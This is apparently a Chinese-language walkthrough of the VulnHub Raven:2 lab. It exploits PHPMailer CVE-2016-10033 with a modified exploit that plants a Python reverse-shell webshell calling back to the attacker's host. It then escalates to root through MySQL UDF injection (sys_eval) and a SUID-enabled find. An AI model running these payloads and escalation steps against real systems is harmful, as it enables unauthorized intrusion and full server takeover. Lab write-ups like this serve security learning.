vulnhub-Raven:2 渗透笔记
本次渗透测试靶机为vulnhub的Raven:2,是我在比赛遇到了UDF提权后进行的二次巩固
靶场共有4个flag
信息搜集(flag1)
首先nmap扫描一下eth0网卡的c端找到靶机IP:
nmap -sP -sn 192.168.111.1/24
发现靶机IP为192.168.111.141
:
对其进行端口扫描:
nmap -sV -A -T4 192.168.111.141
可以发现靶机开放了22、80、111三个端口:
访问80端口发现是个网页:
考虑用dirsearch扫一下目录:
dirsearch -u http://192.168.111.141/
发现有几个可访问的路径,尝试访问:
-
访问/.DS_Store可以下载该文件,访问文件可以知道web目录里面所有文件的清单
-
/vendor/路由存在目录遍历:
访问其中的PATH文件拿到了第一个flag:
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
通过刚才目录遍历的文件名,可知网站应该是安装了PHPmailer,而遍历到的version文件中写了5.2.16,猜测这可能就是PHPmailer版本号
在kali中搜索对应漏洞:
searchsploit phpmailer
这里选择能RCE的php/webapps/40974.py
,查看下exp:
searchsploit -x exploits/php/webapps/40974.py
在exploit-db上查询可知该漏洞的编号为CVE-2016-10033,是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入
而我们通过dirsearch或网站主页上看到的邮件页面地址为:http://192.168.61.135/contact.php,因此可以尝试漏洞利用
漏洞利用(flag2、flag3)
接下来我们把EXP下载到桌面进行编辑:
searchsploit -m exploits/php/webapps/40974.py
修改内容如下:
-
开头加上:
#!/usr/bin/python # -*- coding: utf-8 -*-
-
target值改为
http://192.168.111.141/contact.php
-
backdoor值改为
houmen.php
(默认的名字容易被ban) -
修改payload和fields:
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'[kali的IP]\\\',[监听的端口]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' fields={'action': 'submit', 'name': payload, 'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/[web路径]/[后门文件名称].php server\" @protonmail.com', 'message': 'Pwned'}
接下来使用python2运行exp,然后监听端口:
然后访问http://192.168.111.141/contact.php
,这样就会执行我们的payload在目录下面生成houmen.php
然后再访问http://192.168.111.141/houmen.php
,即可执行反弹shell的后门,成功getshell:
用python获取一个pty:
python -c 'import pty; pty.spawn("/bin/bash")'
接下来就是寻找flag了:
find / -name "flag*"
成功找到flag2、flag3:
权限提升(flag4)
还剩个flag4没有找到,考虑可能在/root这种需要root权限的目录里,所以接下来的任务就是提权了
系统下的信息搜集
可以先向主机上传一个LinEnum.sh进行信息收集,方便我们提权
对其增加执行权限并运行:
可以在结果中发现mysql是使用root权限运行的
因此,我们尝试进行udf提权
首先需要连接数据库的账号和密码,我们在web目录下搜索一下:
find . -name "*.php" -print0 | xargs -0 grep -i -n "pass"
#在当前目录及其子目录中查找扩展名为.php的文件,并搜索列出文件中包含字符串“pass”的行
在web目录下的/wordpress/wp-config.php中发现密码:
cat一下这个文件,发现是root用户密码:
至此,可以正式开始udf提权了
udf提权
首先以搜集到的账号密码登录mysql:
可以看见服务版本为5.5.60
查看secure-file-priv,发现无目录限制,可以进行任何地方的文件导入:
查看plugin目录,发现目录存在,为/usr/lib/mysql/plugin/
:
在kali的sqlmap中获取udf文件:
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so
再在靶机上使用wget下载udf文件到/tmp目录:
接下来就是使用我们上传的udf文件了,按流程走即可:
-
创建一张临时表用来存放DLL/SO文件的十六进制内容
CREATE TABLE temp_udf(udf blob);
-
将udf文件内容插入临时表中:
insert into temp_udf values(load_file('/tmp/lib_mysqludf_sys.so'));
-
将udf文件导出至对应位置:
SELECT * FROM temp_udf INTO DUMPFILE "/usr/lib/mysql/plugin/udf.so";
-
引入自定义函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
-
查看是否添加成功:
select * from mysql.func;
-
执行命令:
select sys_eval('whoami');
非常顺利的拿到了root权限:
但是一直在mysql中执行命令并不太方便,所以我们可以继续利用find进行suid提权:
-
给find命令赋予一个suid权限:
select sys_eval('chmod u+s /usr/bin/find');
-
查看一下具有suid权限的命令,判断是否成功:
find / -perm -u=s -type f 2>/dev/null
成功给find添加suid权限:
接下来利用find进行suid提权即可:
find lib_mysqludf_sys.so -exec "/bin/sh" \;
成功提权:
接下来再访问/root
发现flag4:
总结
回顾整个渗透过程,我们遇到了以下漏洞或利用点:
- /.DS_Store文件泄露
- 目录遍历
- PHPmailer的命令执行(CVE-2016-10033)
- wp-config泄露mysql账号密码
- mysql配置不当(以root权限运行)
- mysql导入文件无目录限制
据此,我们进行了如下利用:
- 浏览可遍历的目录
- 使用反弹式webshell攻击PHPmailer
- 通过信息收集以root用户身份登录mysql
- udf提权
- 利用find命令进行suid提权